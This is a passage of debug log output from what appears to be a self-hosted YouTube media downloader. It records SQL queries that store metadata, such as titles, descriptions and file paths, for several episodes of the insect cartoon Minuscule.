(s0."id" = ?) [5] 22:15:47.762 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-26 15:30:04Z], 5] 22:15:47.765 [debug] QUERY OK source="media_items" db=2.1ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nWasps pinch a carrot from a snowman and unwittingly annoy a centipede.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Brooms sweep / Coup de balais (Season 2)", "5f4c883d-9fd5-4915-8c1b-eed862280392", "nQ1-1C4Be_E", 119, false, 5, "https://www.youtube.com/watch?v=nQ1-1C4Be_E", 116, "/downloads/Miniscule Season 2/2019-12-26 Minuscule - Brooms sweep ⧸ Coup de balais (Season 2)/Minuscule - Brooms sweep ⧸ Coup de balais (Season 2) [nQ1-1C4Be_E].mp4", false, false, false, [], 1, ~U[2019-12-26 15:30:04Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nWasps pinch a carrot from a snowman and unwittingly annoy a centipede.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Brooms sweep / Coup de balais (Season 2)", "nQ1-1C4Be_E", 119, false, 5, "https://www.youtube.com/watch?v=nQ1-1C4Be_E", "/downloads/Miniscule Season 2/2019-12-26 Minuscule - Brooms sweep ⧸ Coup de balais (Season 2)/Minuscule - Brooms sweep ⧸ Coup de balais (Season 2) [nQ1-1C4Be_E].mp4", false, ~U[2019-12-26 15:30:04Z]] 22:15:47.766 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.768 [debug] QUERY OK source="media_items" db=0.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-05 15:30:02Z], 5] 22:15:47.771 [debug] QUERY OK source="media_items" db=2.2ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nOn a little country road, insects from all over join to watch an annual race. As soon as it starts, these 'wacky racers' will try to do everything they can to arrive first.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / à Toute Berzingue (Season 2)", "de172c3a-a3e1-4e9c-9b62-3d085746e8a3", "Zh10U1WWXHI", 292, false, 5, "https://www.youtube.com/watch?v=Zh10U1WWXHI", 119, "/downloads/Miniscule Season 2/2019-12-05 Minuscule - At full speed ⧸ à Toute Berzingue (Season 2)/Minuscule - At full speed ⧸ à Toute Berzingue (Season 2) [Zh10U1WWXHI].mp4", false, false, false, [], 1, ~U[2019-12-05 15:30:02Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nOn a little country road, insects from all over join to watch an annual race. As soon as it starts, these 'wacky racers' will try to do everything they can to arrive first.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / à Toute Berzingue (Season 2)", "Zh10U1WWXHI", 292, false, 5, "https://www.youtube.com/watch?v=Zh10U1WWXHI", "/downloads/Miniscule Season 2/2019-12-05 Minuscule - At full speed ⧸ à Toute Berzingue (Season 2)/Minuscule - At full speed ⧸ à Toute Berzingue (Season 2) [Zh10U1WWXHI].mp4", false, ~U[2019-12-05 15:30:02Z]] 22:15:47.776 [debug] QUERY OK source="sources" db=0.3ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.777 [debug] QUERY OK source="media_items" db=0.8ms idle=10.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-12-19 17:29:32Z], 5] 22:15:47.780 [debug] QUERY OK source="media_items" db=2.0ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)", "95240e1e-fd8e-441a-9078-1ad926bd072f", "-wL4RbkOT1o", 139, false, 5, "https://www.youtube.com/watch?v=-wL4RbkOT1o", 150, "/downloads/Miniscule Season 2/2014-12-19 Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2)/Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2) [-wL4RbkOT1o].mp4", false, false, false, [], 1, ~U[2014-12-19 17:29:32Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)", "-wL4RbkOT1o", 139, false, 5, "https://www.youtube.com/watch?v=-wL4RbkOT1o", "/downloads/Miniscule Season 2/2014-12-19 Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2)/Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2) [-wL4RbkOT1o].mp4", false, ~U[2014-12-19 17:29:32Z]] 22:15:47.782 [debug] QUERY OK source="sources" db=0.4ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.783 [debug] QUERY OK source="media_items" db=0.8ms idle=11.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-11-14 15:50:12Z], 5] 22:15:47.787 [debug] QUERY OK source="media_items" db=2.8ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #2", "b053cb92-1fa7-472e-828f-d1bd9fdb8155", "C35BATa1Dp4", 861, false, 5, "https://www.youtube.com/watch?v=C35BATa1Dp4", 152, "/downloads/Miniscule Season 2/2016-11-14 Minuscule - Compilation #2/Minuscule - Compilation #2 [C35BATa1Dp4].mkv", false, false, false, [], 1, ~U[2016-11-14 15:50:12Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #2", "C35BATa1Dp4", 861, false, 5, "https://www.youtube.com/watch?v=C35BATa1Dp4", "/downloads/Miniscule Season 2/2016-11-14 Minuscule - Compilation #2/Minuscule - Compilation #2 [C35BATa1Dp4].mkv", false, ~U[2016-11-14 15:50:12Z]] 22:15:47.788 [debug] QUERY OK source="sources" db=0.4ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.789 [debug] QUERY OK source="media_items" db=1.0ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-03 13:56:28Z], 5] 22:15:48.852 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:49.630 [debug] QUERY OK source="media_items" db=1838.0ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Tabasco (Season 2)", "8c322dca-0ea8-4d39-af9d-226cc63e5b73", "T4qDSRIlR78", 306, false, 5, "https://www.youtube.com/watch?v=T4qDSRIlR78", 157, "/downloads/Miniscule Season 2/2014-11-03 Minuscule - Top Tabasco (Season 2)/Minuscule - Top Tabasco (Season 2) [T4qDSRIlR78].mp4", false, false, false, [], 1, ~U[2014-11-03 13:56:28Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Tabasco (Season 2)", "T4qDSRIlR78", 306, false, 5, "https://www.youtube.com/watch?v=T4qDSRIlR78", "/downloads/Miniscule Season 2/2014-11-03 Minuscule - Top Tabasco (Season 2)/Minuscule - Top Tabasco (Season 2) [T4qDSRIlR78].mp4", false, ~U[2014-11-03 13:56:28Z]] 22:15:49.631 [debug] QUERY OK source="sources" db=0.4ms idle=778.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.633 [debug] QUERY OK source="media_items" db=0.9ms idle=2.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-12-24 15:00:04Z], 5] 22:15:49.728 [debug] QUERY OK source="media_items" db=94.5ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join Minuscule on Facebook and Instagram :\n Facebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n\nMinuscule - C'est Noël / Come Christmas - ABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - C'est Noël / Come Christmas (Season 1)", "82cb227f-32ce-4986-918f-f813518025c6", "wjiQFluWuv0", 463, false, 5, "https://www.youtube.com/watch?v=wjiQFluWuv0", 160, "/downloads/Miniscule Season 2/2017-12-24 Minuscule - C'est Noël ⧸ Come Christmas (Season 1)/Minuscule - C'est Noël ⧸ Come Christmas (Season 1) [wjiQFluWuv0].mp4", false, false, false, [], 1, ~U[2017-12-24 15:00:04Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "Join Minuscule on Facebook and Instagram :\n Facebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n\nMinuscule - C'est Noël / Come Christmas - ABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - C'est Noël / Come Christmas (Season 1)", "wjiQFluWuv0", 463, false, 5, "https://www.youtube.com/watch?v=wjiQFluWuv0", "/downloads/Miniscule Season 2/2017-12-24 Minuscule - C'est Noël ⧸ Come Christmas (Season 1)/Minuscule - C'est Noël ⧸ Come Christmas (Season 1) [wjiQFluWuv0].mp4", false, ~U[2017-12-24 15:00:04Z]] 22:15:49.729 [debug] QUERY OK source="sources" db=0.4ms idle=99.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" 